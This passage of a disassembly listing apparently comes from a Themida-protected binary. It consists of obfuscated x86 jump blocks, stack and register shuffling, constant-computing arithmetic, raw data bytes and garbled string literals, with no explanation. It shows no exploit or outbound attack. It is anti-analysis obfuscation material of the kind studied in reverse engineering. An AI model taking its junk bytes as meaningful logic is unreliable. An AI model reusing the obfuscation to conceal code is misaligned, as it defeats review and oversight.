		dd 0DCE95E24h
		db 8, 2	dup(0)
; ---------------------------------------------------------------------------


loc_55E92F:				; CODE XREF: Themida_:005662B2j
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_56E07D
; ---------------------------------------------------------------------------
a0Hv		db '0ьhV`',0
		align 2
		dw 0C89h
		dd 33686624h, 489666Dh,	52DDB024h, 0F188C688h, 48B665Ah
		dd 2C48324h, 21B25251h,	8007B252h, 38E9B1EAh, 83000100h
		dd 48B04C4h, 4C48124h, 50000000h, 582414F7h, 31CB3191h
		dd 0E9CB31D9h, 15C1h
; ---------------------------------------------------------------------------


loc_55E988:				; CODE XREF: Themida_:00561FDFj
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	esi
		push	7F6h
		mov	[esp], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		jmp	loc_563569
; ---------------------------------------------------------------------------
		dw 0F281h
		dd 0BCCFAF71h, 0E95AD589h, 0F85Ch
; ---------------------------------------------------------------------------


loc_55E9BC:				; CODE XREF: Themida_:0055DA88j
		push	4EA6238Ah
		jmp	loc_560C91
; ---------------------------------------------------------------------------


loc_55E9C6:				; CODE XREF: Themida_:0056B0F4j
		mov	[esp], ebp
		push	ecx
		mov	ecx, 199169CEh
		xor	ecx, 45CF3957h
		mov	ebp, ecx
		pop	ecx
		jmp	loc_55DCF9
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 22B268h, 0B71BE900h,	835D0000h, 148904ECh, 0AAFDE924h
		dd 0C890000h, 3981B924h, 0C981405Fh, 37012873h,	6857E9D1h
		dd 6877h, 51241C89h, 5F8CBD55h,	7AE946B7h
		db 6, 2	dup(0)
; ---------------------------------------------------------------------------


loc_55EA1B:				; CODE XREF: Themida_:005603F9j
		push	ebp
		mov	ebp, 2D1613EDh
		jmp	loc_570B33
; ---------------------------------------------------------------------------
		dw 0E95Bh
		dd 0FFFFE811h, 5C243487h, 7B1C68h, 2F96E900h, 81590000h
		dd 4C1h, 4E98300h, 5C240C87h, 0BD242C89h, 533050ADh, 0E908E5C1h
		dd 0C622h, 8324348Bh, 0D10104C4h, 0F265E9h, 0C2BF5700h
		dd 811A1125h, 1125BEEFh, 0E06AE91Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EA76:				; CODE XREF: Themida_:0056C374j
		and	ecx, 22E7EB8h
		sub	ecx, 6CF2512Ch
		and	ecx, 559A0982h
		neg	ecx
		xor	ecx, 0B08EB4A9h
		mov	eax, ecx
		pop	ecx
		neg	eax
		add	eax, 77B4187Fh
		jmp	loc_56F547
; ---------------------------------------------------------------------------
		db 5Fh
		dd 5C243487h, 7DF4E9h
		db 0
; ---------------------------------------------------------------------------


loc_55EAA9:				; CODE XREF: Themida_:00566267j
		add	esp, 4
		or	ebx, 42202A24h
		or	ebx, 33A60D55h
		shl	ebx, 7
		sub	ebx, 0D75886C9h
		add	ecx, 313F6F82h
		jmp	loc_5702BF
; ---------------------------------------------------------------------------
		db 83h
		dd 50E904ECh, 81000003h, 1E3621EDh, 241C8B45h, 51E28952h
		dd 4BD55h, 0E9890000h, 278AE95Dh, 0C4830000h, 22A5E904h
		dd 9D680001h, 0E9000072h, 0FFFFFA88h
; ---------------------------------------------------------------------------


loc_55EB04:				; CODE XREF: Themida_:00568568j
		push	ebp
		mov	ebp, 6A07075Fh
		and	ebp, 3473531Bh
		not	ebp
		push	edi
		jmp	loc_56A17F
; ---------------------------------------------------------------------------
		dd 0BE243489h, 0B1BFDC36h, 0E95EF031h, 0A483h
; ---------------------------------------------------------------------------


loc_55EB28:				; CODE XREF: Themida_:00567A05j
		pop	dword ptr [esp]
		jmp	loc_56DD20
; ---------------------------------------------------------------------------
		dd 0D65AD68h, 0EFC15F05h, 83DFF704h, 0EF81FFEFh, 97321604h
		dd 815FFE21h, 0B15D54E6h, 37E94621h
		db 0FCh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55EB53:				; CODE XREF: Themida_:0056D0A7j
		add	esp, 4
		jmp	loc_5611AC
; ---------------------------------------------------------------------------


loc_55EB5B:				; CODE XREF: Themida_:00561226j
		push	ebx
		jmp	loc_566257
; ---------------------------------------------------------------------------
		db 33h,	0Ch, 24h
		dd 0C8B665Ch, 86D6824h,	1C890000h, 1A7DE924h
		db 1, 0
; ---------------------------------------------------------------------------


loc_55EB76:				; CODE XREF: Themida_:0055C96Ej
		push	esp
		pop	edi
		add	edi, 4
		jmp	loc_55FAD0
; ---------------------------------------------------------------------------
		db 89h
		dd 0C4E92414h, 31000113h, 241C8BD8h, 5204C483h,	9FDBD55h
		dd 0E9567510h, 88Eh, 8B241C87h,	0EB812424h, 5E8B4184h
		dd 59C7C381h, 0EB811951h, 53ED4B4Ah, 1255DE9h
		db 0
; ---------------------------------------------------------------------------


loc_55EBBD:				; CODE XREF: Themida_:0056213Bj
		add	ch, 1Ah
		jmp	loc_5668F9
; ---------------------------------------------------------------------------


loc_55EBC5:				; CODE XREF: Themida_:0056EEE0j
		mov	esi, 518C237Ch
		add	esi, 4C1A7478h
		jmp	loc_564EA6
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 2D0E95Dh, 0F3810000h, 0FD7E5077h, 12506E9h, 0CD895500h
		dd 595DEB89h, 0E7FFEB81h, 0DF0907E3h, 0C7C2E95Bh, 0C4810000h
		dd 4, 1EE81h, 0F6810000h, 143E6296h, 0E95EF229h, 1F0Fh
; ---------------------------------------------------------------------------


loc_55EC18:				; CODE XREF: Themida_:005622B7j
		push	dword ptr [esp]
		pop	ebp
		push	ebx
		push	edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4
		push	esi
		mov	esi, 4
		sub	edx, esi
		pop	esi
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		push	eax
		mov	eax, 69427D2Dh
		and	eax, 3F8A2B8Ch
		shl	eax, 1
		xor	eax, 34555A70h
		shl	eax, 1
		neg	eax
		sub	eax, 335DEF2Ch
		add	ebx, eax
		pop	eax
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		xchg	esi, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_56BD03
; ---------------------------------------------------------------------------


loc_55EC84:				; CODE XREF: Themida_:00564887j
		mov	ebp, 60770680h
		xor	edx, ebp
		jmp	loc_56208D
; ---------------------------------------------------------------------------
aB5r2Sn		db '│ф5r2',8,'ИNю',0
		db 0
; ---------------------------------------------------------------------------


loc_55EC9B:				; CODE XREF: Themida_:0056356Cj
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_56BEFC
; ---------------------------------------------------------------------------


loc_55ECA6:				; CODE XREF: Themida_:0056E213j
		shr	eax, 8
		xor	eax, ecx
		push	310Fh
		mov	[esp], eax
		jmp	loc_55CE35
; ---------------------------------------------------------------------------
		dd 0E9FD315Eh, 5736h
; ---------------------------------------------------------------------------


loc_55ECC0:				; CODE XREF: Themida_:0055D441j
		add	ebx, edx
		pop	edx
		jmp	loc_5648AD
; ---------------------------------------------------------------------------
		dd 6804C483h, 7B35h, 89242C89h,	4EC81E5h, 89000000h, 4BB241Ch
		dd 52000000h, 0A01103BAh, 0CF6BE91Ch, 0F6810000h, 0CF8CB9A3h
		dd 15EF589h, 8B04246Ch,	0C483242Ch, 242C8B04h, 0DEA3E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55ED0A:				; CODE XREF: Themida_:00564389j
		shl	ebp, 6
		sub	ebp, 15BB6308h
		mov	ebx, ebp
		pop	ebp
		jmp	loc_56438E
; ---------------------------------------------------------------------------


loc_55ED1B:				; CODE XREF: Themida_:0056EA44j
		sub	esi, 2715BE28h
		sub	ebp, esi
		jmp	loc_5679E5
; ---------------------------------------------------------------------------


loc_55ED28:				; CODE XREF: Themida_:005701E2j
		pop	ebp
		jmp	loc_55E66D
; ---------------------------------------------------------------------------
		dw 0D801h
		dd 6C18E9h
		db 0
; ---------------------------------------------------------------------------


loc_55ED35:				; CODE XREF: Themida_:0056E983j
		add	esi, 1D801BC1h
		push	eax
		mov	eax, 4BCE4F40h
		or	eax, 2B242427h
		or	eax, 7920C82h
		jmp	loc_56BCE7
; ---------------------------------------------------------------------------
		dd 905D829h, 5B1D6D0Dh,	0C2E9C101h
		db 81h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55ED5F:				; CODE XREF: Themida_:0056A159j
		mov	edx, 3FEE3F79h
		add	ebp, edx
		jmp	loc_56041F
; ---------------------------------------------------------------------------
		db 0FFh
		dd 589D1C77h, 9C240419h, 0FFD753E9h, 0FFEF81FFh, 0E900201Eh
		dd 1E13h
; ---------------------------------------------------------------------------


loc_55ED84:				; CODE XREF: Themida_:00564F85j
		push	esp
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		jmp	loc_567824
; ---------------------------------------------------------------------------
		db 1
		dd 0C38159CBh, 283257A7h, 40BA5255h, 4A05CC45h,	4C14C281h
		dd 0F2810414h, 49481221h, 5EF2E281h, 0C28103DCh, 19C26565h
		dd 4339E9h
		db 0
; ---------------------------------------------------------------------------


loc_55EDCD:				; CODE XREF: Themida_:00563DA5j
		mov	[esp], ebx
		jmp	loc_56390A
; ---------------------------------------------------------------------------
		db 81h,	0F5h, 7Fh
a8eSs		db '8E^Иs',7,0
		align 10h
		dd 5741F225h, 0BE74051Ah, 0C389F5F9h, 7DC78158h, 817D4C0Ah
		dd 0D32C03EFh, 0E9DF0129h, 0FFFFEA6Bh, 4C481h, 0CD890000h
		dd 83240C8Bh, 0E95204C4h, 7E93h, 7E87F381h, 0DE2932D1h
		db 8Bh,	1Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_569C1F
; ---------------------------------------------------------------------------
		db 89h
		dd 0BB532424h, 4, 4245C01h, 12AEE95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55EE3A:				; CODE XREF: Themida_:0055CEF9j
		push	dword ptr [esp]
		jmp	loc_56FB2B
; ---------------------------------------------------------------------------


loc_55EE42:				; CODE XREF: Themida_:00560290j
		shr	ebx, 5
		sub	ebx, 8876BA40h
		xor	ebp, ebx
		pop	ebx
		and	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	ebp
		push	eax
		push	410D44BAh
		pop	eax
		push	esi
		push	edx
		mov	edx, 2984186Fh
		mov	esi, 3F75EA8h
		add	esi, edx
		pop	edx
		sub	eax, 37255CCCh
		jmp	loc_56F551
; ---------------------------------------------------------------------------


loc_55EE7B:				; CODE XREF: Themida_:0056261Cj
		push	ecx
		push	edx
		mov	edx, 160E06FDh
		or	edx, 42C85660h
		shr	edx, 7
		shl	edx, 3
		jmp	loc_56C5A1
; ---------------------------------------------------------------------------


loc_55EE93:				; CODE XREF: Themida_:0056FDE1j
		pop	ecx
		mov	eax, [esp]
		jmp	loc_55CA1B
; ---------------------------------------------------------------------------
aNTS		db '©█ T Ит/',0
		align 2
		dw 487h
		dd 197DE924h, 0C4810000h, 4, 2C781h, 70680000h,	0E9000040h
		dd 1A5Dh, 80C2CF80h, 0F800BDEFh, 241C8B66h, 81E38953h
		dd 4C3h, 2C38300h, 0E9241C87h, 76B1h, 59C3C281h, 0F201607Bh
		dd 59C3EA81h, 875E607Bh, 0D35C2414h, 0E99C2404h, 0FFFFD5CCh
		dd 5C241487h, 0BF243C89h, 2CC45D1Eh, 9C4AE9h
		db 0
; ---------------------------------------------------------------------------


loc_55EF11:				; CODE XREF: Themida_:0055CF2Bj
		pop	ebx
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		pop	dword ptr [edi+24h]
		jmp	loc_56C4F7
; ---------------------------------------------------------------------------
		dw 4F5Ah
		dd 8147DFF7h, 0A9AA2CEFh, 5FF901CAh, 7933E9h
		db 0
; ---------------------------------------------------------------------------


loc_55EF39:				; CODE XREF: Themida_:00561E07j
		push	ecx
		jmp	loc_56055B
; ---------------------------------------------------------------------------


loc_55EF3F:				; CODE XREF: Themida_:00570267j
		shr	edi, 4
		dec	edi
		jmp	loc_56AB14
; ---------------------------------------------------------------------------
		dd 2414875Bh, 2414895Ch, 2F14D3BAh, 7E2C11Dh, 8104E2C1h
		dd 0A697FCEAh, 188A2D78h, 0DC056584h, 2D50BB5Ch, 2CD4694h
		dd 0C9E9D001h, 5800007Fh, 5DD6E9h, 4C48300h, 0E8B05052h
		dd 0D0F6EA2Ch, 0EBE9F12Ch, 81000041h, 4E4409EBh, 81C30141h
		dd 4E4409C3h, 0DBEB8141h, 0FF3AD766h, 48B2434h,	4C48324h
		dd 0D441E9h, 0C7814700h, 71FC06Fh, 295FF801h, 0D653E9F8h
		dd 525B0000h, 1359BBAh,	0E281427Dh, 55FB4B68h, 267BE942h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55EFD6:				; CODE XREF: Themida_:005679E0j
		pop	ecx
		push	esi
		push	16144004h
		pop	esi
		sub	esi, 6B256DB8h
		dec	esi
		xor	esi, 729B1811h
		push	ecx
		jmp	loc_56FF9D
; ---------------------------------------------------------------------------
aB7SISg		db '│б7кSз┴жИ┐з',0
		align 2
		dw 0E955h
		dd 2419h, 6819E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F00A:				; CODE XREF: Themida_:0055DE11j
		mov	[esp], ebx
		mov	bl, 0EAh
		and	bl, 4
		push	ecx
		push	edx
		jmp	loc_55D734
; ---------------------------------------------------------------------------


loc_55F019:				; CODE XREF: Themida_:0056377Dj
		mov	ecx, [esp]
		jmp	loc_5603E1
; ---------------------------------------------------------------------------
aVrswo		db 'VRИwo',0
		align 4
aBsCwSi		db '│ИиГWзИi╥',0
		db 0
; ---------------------------------------------------------------------------


loc_55F033:				; CODE XREF: Themida_:0055F8BEj
		add	dword ptr [esp], 4
		pop	ebx
		jmp	loc_564ADB
; ---------------------------------------------------------------------------
		dd 81E28952h, 4C2h, 4EA8300h, 31241433h, 4AE92414h, 51000060h
		dd 50E9E588h, 0B90000A4h, 0DE870D1h, 3559C831h,	8F8DCB49h
		dd 0DC4E9h, 240C8900h, 4B9h, 9050500h, 0C80131C1h, 7381E957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F086:				; CODE XREF: Themida_:00564C6Cj
		dec	edi
		and	edi, 16717F91h
		shr	edi, 8
		jmp	loc_569C82
; ---------------------------------------------------------------------------
		db 0B9h, 1Ah, 0C8h
		dd 0E981727Ch, 125B3D8Ah, 0C0E9E929h, 0B00000DEh, 52B15192h
		dd 0E180C1FEh, 0F6D9F6A6h, 0ADE180D9h, 0FFDDF9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F0BD:				; CODE XREF: Themida_:00560FD6j
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 5F3722EEh
		sub	esi, 5D1B435Eh
		sub	esi, 1
		jmp	loc_55DD50
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		db 3 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_563C30
; ---------------------------------------------------------------------------
		dw 7E68h
		dd 89000076h, 5CE92424h, 96000035h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 3BA30D61h
		xor	eax, edi
		pop	edi
		push	ebx
		mov	ebx, 5E595BBEh
		jmp	loc_568678
; ---------------------------------------------------------------------------


loc_55F12D:				; CODE XREF: Themida_:00564894j
		add	ecx, 7A4C5DEFh
		jmp	loc_567114
; ---------------------------------------------------------------------------
		dd 2C481h, 36680000h, 0E900004Fh, 0AF5Ch, 3C8BF801h, 4C48324h
		dd 6373E9h
		db 0
; ---------------------------------------------------------------------------


loc_55F155:				; CODE XREF: Themida_:0056977Ej
		add	esi, 4
		jmp	loc_55D22B
; ---------------------------------------------------------------------------
		dd 240C8B66h, 56E78957h, 0DD2E9h
		db 0
; ---------------------------------------------------------------------------


loc_55F16D:				; CODE XREF: Themida_:0056BE7Dj
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_5666D4
; ---------------------------------------------------------------------------
		dd 2404875Fh, 0D1DCE9h,	9EE95900h, 0FFFFFFE8h, 3C8B2434h
		dd 0E3895324h, 4C381h, 0C3810000h, 4, 31241C33h, 1C33241Ch
		dd 1BCBE924h, 0BB530000h, 35A5096Ah, 603AE5BEh,	5BDE293Ah
		dd 334CB850h, 0D8F70648h, 22AE9h, 4BD00h, 6C010000h, 8B5D0424h
		dd 0C483243Ch, 4B95104h, 1000000h, 685559CFh, 4, 8BEF015Dh
		dd 0C483242Ch, 243C3304h, 33243C31h, 248B243Ch,	24048B24h
		dd 0C6B7E9h, 809FB400h,	61E9C9C4h, 83000089h, 0EA8104C4h
		dd 1B0D4F4Fh, 5E97C281h, 0EA016D24h, 5E97EA81h,	0C2816D24h
		dd 1B0D4F4Fh, 8CE9h, 39F96800h,	14890000h, 56F66824h, 0C890000h
		dd 719CB924h, 36E96811h, 0BF00009Eh, 2488107Bh,	2050C781h
		dd 0EF810F5Fh, 0FD6D1CD8h, 0CDE9FB09h, 530000BFh, 47200FBBh
		dd 8AF3816Ah, 314F415Eh, 5155E9D9h, 14870000h, 4AC2E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F27A:				; CODE XREF: Themida_:0055F744j
		mov	eax, 7892506Ch
		sub	eax, 4BB64A2Ah
		and	eax, 46366783h
		shl	eax, 3
		jmp	loc_560712
; ---------------------------------------------------------------------------


loc_55F291:				; CODE XREF: Themida_:00565575j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		and	ecx, edi
		push	dword ptr [esp]
		pop	edi
		push	eax
		mov	eax, esp
		jmp	loc_570CE8
; ---------------------------------------------------------------------------
		dw 875Ch
		dd 505C2434h, 0F9E6E9h,	51B85000h, 0E92E3C33h, 10502h
; ---------------------------------------------------------------------------


loc_55F2C4:				; CODE XREF: Themida_:0056A4BEj
		push	5229h
		jmp	loc_564F82
; ---------------------------------------------------------------------------


loc_55F2CE:				; CODE XREF: Themida_:00570751j
		add	ecx, 57E8AFB8h
		or	edi, ecx
		jmp	loc_5663F9
; ---------------------------------------------------------------------------
		db 45h
		dd 8305E5C1h, 0EDC1FFEDh, 0E8F58107h, 3117E053h, 51555DEAh
		dd 0D629B6B9h, 59CD893Fh, 0E06EE9h, 0C5815D00h,	4, 4ED81h
		dd 2C870000h, 20E95C24h, 800000D0h, 3CE9FFECh, 0C1FFFFFDh
		dd 0EAC105EAh, 32DF6802h, 14890000h, 74FF5324h,	8F5B0424h
		dd 0BE92404h, 66FFFFDCh, 5324048Bh, 0E955E389h,	3BC6h
		dd 2C8BEB01h, 4C48124h,	0E9000000h, 0D1Ch, 4C7815Ch, 81000000h
		dd 2EFh, 1264E900h, 4890000h, 71106824h, 2E90000h
		db 4Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55F373:				; CODE XREF: Themida_:00560AC3j
		mov	edx, eax
		mov	eax, [esp]
		add	esp, 4
		and	eax, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	edi
		jmp	loc_564512
; ---------------------------------------------------------------------------


loc_55F392:				; CODE XREF: Themida_:0055C812j
		sub	esp, 4
		mov	[esp], esi
		push	ebx
		pop	esi
		push	17FBh
		mov	[esp], esi
		pop	eax
		push	dword ptr [esp]
		pop	esi
		push	1295h
		mov	[esp], ebx
		push	0D6Bh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		push	56A0h
		mov	[esp], ecx
		push	eax
		mov	eax, 4
		mov	ecx, eax
		pop	eax
		jmp	loc_561BFF
; ---------------------------------------------------------------------------
		dd 8D54AD05h, 4055B2Eh,	87000000h, 248B2404h, 49E95624h
		dd 350000FCh, 7BD2772Dh, 0FFDD29E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F3F9:				; CODE XREF: Themida_:00565359j
		push	edx
		jmp	loc_56E6BE
; ---------------------------------------------------------------------------


loc_55F3FF:				; CODE XREF: Themida_:00560C5Cj
		mov	[esp], edx
		mov	edx, 768E6794h
		jmp	loc_55C844
; ---------------------------------------------------------------------------
		dd 445FBE56h, 0E94E7F43h, 11612h
; ---------------------------------------------------------------------------


loc_55F418:				; CODE XREF: Themida_:00561B11j
		push	esi
		jmp	loc_56CDEF
; ---------------------------------------------------------------------------


loc_55F41E:				; CODE XREF: Themida_:0056B36Cj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_562657
; ---------------------------------------------------------------------------
		dw 76BEh
		dd 3107686Ch, 0E5815EF5h, 63E354EBh, 68h, 0F0CE900h, 2C8B0001h
		dd 4C48124h, 51000000h,	0C16987B9h, 7BC18150h, 0E9AEA396h
		dd 313Ch, 83243C8Bh, 0C48304C4h, 4C78104h, 53000000h, 4EC81h
		dd 2C890000h, 0DADBD24h, 99E93F3Ch, 0BD000022h,	0FFCFD7FBh
		dd 2C8BEF01h, 4C48124h,	1000000h, 0E9E95FFDh, 89000078h
		dd 21D0E9CAh, 0BF570000h, 0FFFFFFFFh, 34FFF901h, 0C4835F24h
		dd 0BBFFE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F4B6:				; CODE XREF: Themida_:0056F646j
		pop	eax
		push	4F5Eh
		mov	[esp], ebx
		mov	ebx, 40E4AF4h
		inc	ebx
		jmp	loc_570D29
; ---------------------------------------------------------------------------
		dw 0C1FEh
		dd 9AE8E9h, 0DEF68100h,	3166901Fh, 24348BF5h, 0FFEDA6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F4E1:				; CODE XREF: Themida_:0055DD4Bj
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_560092
; ---------------------------------------------------------------------------
		dd 3EE9DDF7h
		db 57h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55F4F3:				; CODE XREF: Themida_:0056768Bj
		xor	ebx, edx
		pop	edx
		and	eax, ebx
		mov	ebx, [esp]
		push	eax
		jmp	loc_565D65
; ---------------------------------------------------------------------------


loc_55F501:				; CODE XREF: Themida_:0056BDA5j
		sub	edi, 1D5C394Ch
		add	edi, 0E2ECD3C7h
		add	ecx, edi
		pop	edi
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_56E5D5
; ---------------------------------------------------------------------------


loc_55F51E:				; CODE XREF: Themida_:00565CF7j
		dec	edx
		jmp	loc_55D00D
; ---------------------------------------------------------------------------
		dd 0E9240C8Bh, 11791h, 8BFD015Eh, 0DEE9243Ch
		db 1Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55F537:				; CODE XREF: Themida_:00562CD5j
		mov	ebp, 2E3C556Bh
		neg	ebp
		push	esi
		mov	esi, 596F1007h
		shr	esi, 4
		inc	esi
		sub	esi, 33E46230h
		jmp	loc_5694C7
; ---------------------------------------------------------------------------
aBxR5eso@	db '│ЕтR5eИo@',0
		align 2


loc_55F55E:				; CODE XREF: Themida_:00567297j
		mov	eax, 6DD03326h
		jmp	loc_568CF9
; ---------------------------------------------------------------------------


loc_55F568:				; CODE XREF: Themida_:005688DAj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_563B70
; ---------------------------------------------------------------------------
		db 1
		dd 1C8758C3h, 0EE2CE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F58A:				; CODE XREF: Themida_:0056CACAj
		add	eax, 4
		jmp	loc_55D6DF
; ---------------------------------------------------------------------------
		dd 0E189515Fh, 4C181h, 0E9810000h, 4, 0E9240C87h, 5EFFh
		dd 8B24048Fh, 0C892424h, 5D6AE924h, 1C330000h, 0FBE95C24h
		db 4Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55F5C3:				; CODE XREF: Themida_:005675C9j
		add	esp, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_56AE5D
; ---------------------------------------------------------------------------
		dd 8B240C87h, 0C892424h, 0EAB85024h, 89412A3Fh,	22BB58C1h
		dd 29412A40h, 0CCE959CBh, 810000B5h, 0DE4A3BE9h, 8AC68119h
		dd 177D52Ch, 8AEE81CEh,	5977D52Ch, 10F8FE9h, 5B20BF00h
		dd 4F4F33B2h, 0C781DFF7h, 39DE5EFAh, 66D8ED81h,	0FD290D87h
		dd 66D8C581h, 44E90D87h, 5CFFFFE1h, 8904EC83h, 0E956241Ch
		dd 0AD2Eh, 66E2305Ah, 8324048Bh, 3C8904ECh, 81E78924h
		dd 4C7h, 2C78100h, 87000000h, 285C243Ch, 2434FFD0h, 8324148Bh
		dd 2BE904C4h
		db 0CFh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F66B:				; CODE XREF: Themida_:0056E888j
		xchg	eax, [esp]
		pop	esp
		shr	ebx, 4
		add	ebx, 0FA977372h
		push	esi
		push	0B07h
		mov	[esp], ebx
		jmp	loc_561B0B
; ---------------------------------------------------------------------------
aNhj		db '╜hj-',0
		align 4
		dd 0BD242C89h, 774503DCh, 0C9C4ED81h, 0E956324Ah, 83B3h
		dd 0FD42E95Fh, 4B80000h, 81000000h, 1004246Ch, 1611E1Bh
		dd 81042444h, 10042444h, 58611E1Bh, 582434FFh, 71B6E9h
		dd 240C8B00h, 5EA9E9h, 0C5F78100h, 899FBDA0h, 243C8BF9h
		dd 4C481h, 0CE010000h, 4BF5759h, 81000000h, 0B82C3AEEh
		dd 178E929h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F6F6:				; CODE XREF: Themida_:0056FAEDj
		mov	[esp], esi
		push	2B7652EAh
		pop	esi
		and	esi, 7BB74AA8h
		sub	esi, 1
		sub	esi, 2B364297h
		push	775Fh
		mov	[esp], esi
		add	dword ptr [esp], 368D4054h
		jmp	loc_564D67
; ---------------------------------------------------------------------------
		db 83h,	4, 24h
		dd 2434FFFFh, 4C4835Ah,	90A1E9h
		db 0
; ---------------------------------------------------------------------------


loc_55F735:				; CODE XREF: Themida_:0055CC0Cj
		neg	eax
		neg	eax
		sub	eax, 47AD323Ch
		sub	eax, 3AC0BC14h
		push	eax
		jmp	loc_55F27A
; ---------------------------------------------------------------------------
aSp		db '[(хИ▐{',0
		db 0
; ---------------------------------------------------------------------------


loc_55F751:				; CODE XREF: Themida_:005656C5j
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		push	ecx
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		xchg	esi, [esp]
		mov	esp, [esp]
		shr	eax, 0Ah
		xor	eax, ecx
		push	68D6h
		mov	[esp], eax
		xor	[esp], ebp
		xor	ebp, [esp]
		xor	[esp], ebp
		push	5EB3h
		mov	[esp], ebp
		push	edx
		mov	edx, esp
		push	eax
		mov	eax, 4C0B7272h
		shr	eax, 6
		jmp	loc_56F75D
; ---------------------------------------------------------------------------


loc_55F798:				; CODE XREF: Themida_:00563C33j
		push	dword ptr [edi+eax*4]
		jmp	loc_56726D
; ---------------------------------------------------------------------------
		dd 0E904C483h, 0F22Ch
; ---------------------------------------------------------------------------


loc_55F7A8:				; CODE XREF: Themida_:0056750Bj
		mov	esi, 4
		add	[esp+4], esi
		mov	esi, [esp]
		push	ebx
		jmp	loc_56CB8D
; ---------------------------------------------------------------------------


loc_55F7BA:				; CODE XREF: Themida_:0055E27Aj
		and	ecx, 57E82117h
		sub	ecx, 53FFFFFCh
		add	eax, 0E44F37h
		add	eax, ecx
		sub	eax, 0E44F37h
		jmp	loc_56A0CD
; ---------------------------------------------------------------------------


loc_55F7D7:				; CODE XREF: Themida_:00567B5Bj
		mov	esi, 64F2211Eh
		xor	esi, 64F2211Ah
		add	ecx, esi
		pop	esi
		push	ebp
		mov	ebp, 4
		jmp	loc_57046D
; ---------------------------------------------------------------------------
aPODszx		db 'P╦╝',7,1Bh,'dИzX',0
		dw 0F700h
aS_7		db 'уИ╪&',0
		align 2


loc_55F802:				; CODE XREF: Themida_:00563E8Bj
		mov	edi, esp
		jmp	loc_56F7D1
; ---------------------------------------------------------------------------
		db 81h,	0CEh, 3Fh
		dd 0F70C2E6Bh, 8EF681D6h, 89E5C5FDh, 44E95EF5h,	87000117h
		dd 895C241Ch, 0BE562404h, 52022FE2h, 7E80E681h,	0EE81403Bh
		dd 0C2FCC6AEh, 685EF089h, 45CAh, 0E9243C89h, 9209h, 8124048Bh
		dd 4C4h, 221AE900h, 48B0000h, 4C48124h,	1000000h, 815E5DEAh
		dd 3D26D9EAh, 0CC5EE928h, 0FE01FFFFh, 0FE5BE9h
		db 0
; ---------------------------------------------------------------------------


loc_55F875:				; CODE XREF: Themida_:005687D1j
		or	eax, eax
		jz	loc_55E1EF
		push	828h
		mov	[esp], ebx
		mov	ebx, 1Ch
		add	ebx, edi
		jmp	loc_5615B6
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 1DE9F001h, 0E9FFFFD0h, 0FFFFCC2Ch, 8104C483h, 3B667DEAh
		dd 81F20107h, 3B667DC2h, 0C4E95E07h
		db 0Ah,	1, 0
; ---------------------------------------------------------------------------


loc_55F8B7:				; CODE XREF: Themida_:00566B1Bj
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		jmp	loc_55F033
; ---------------------------------------------------------------------------
		db 5Eh
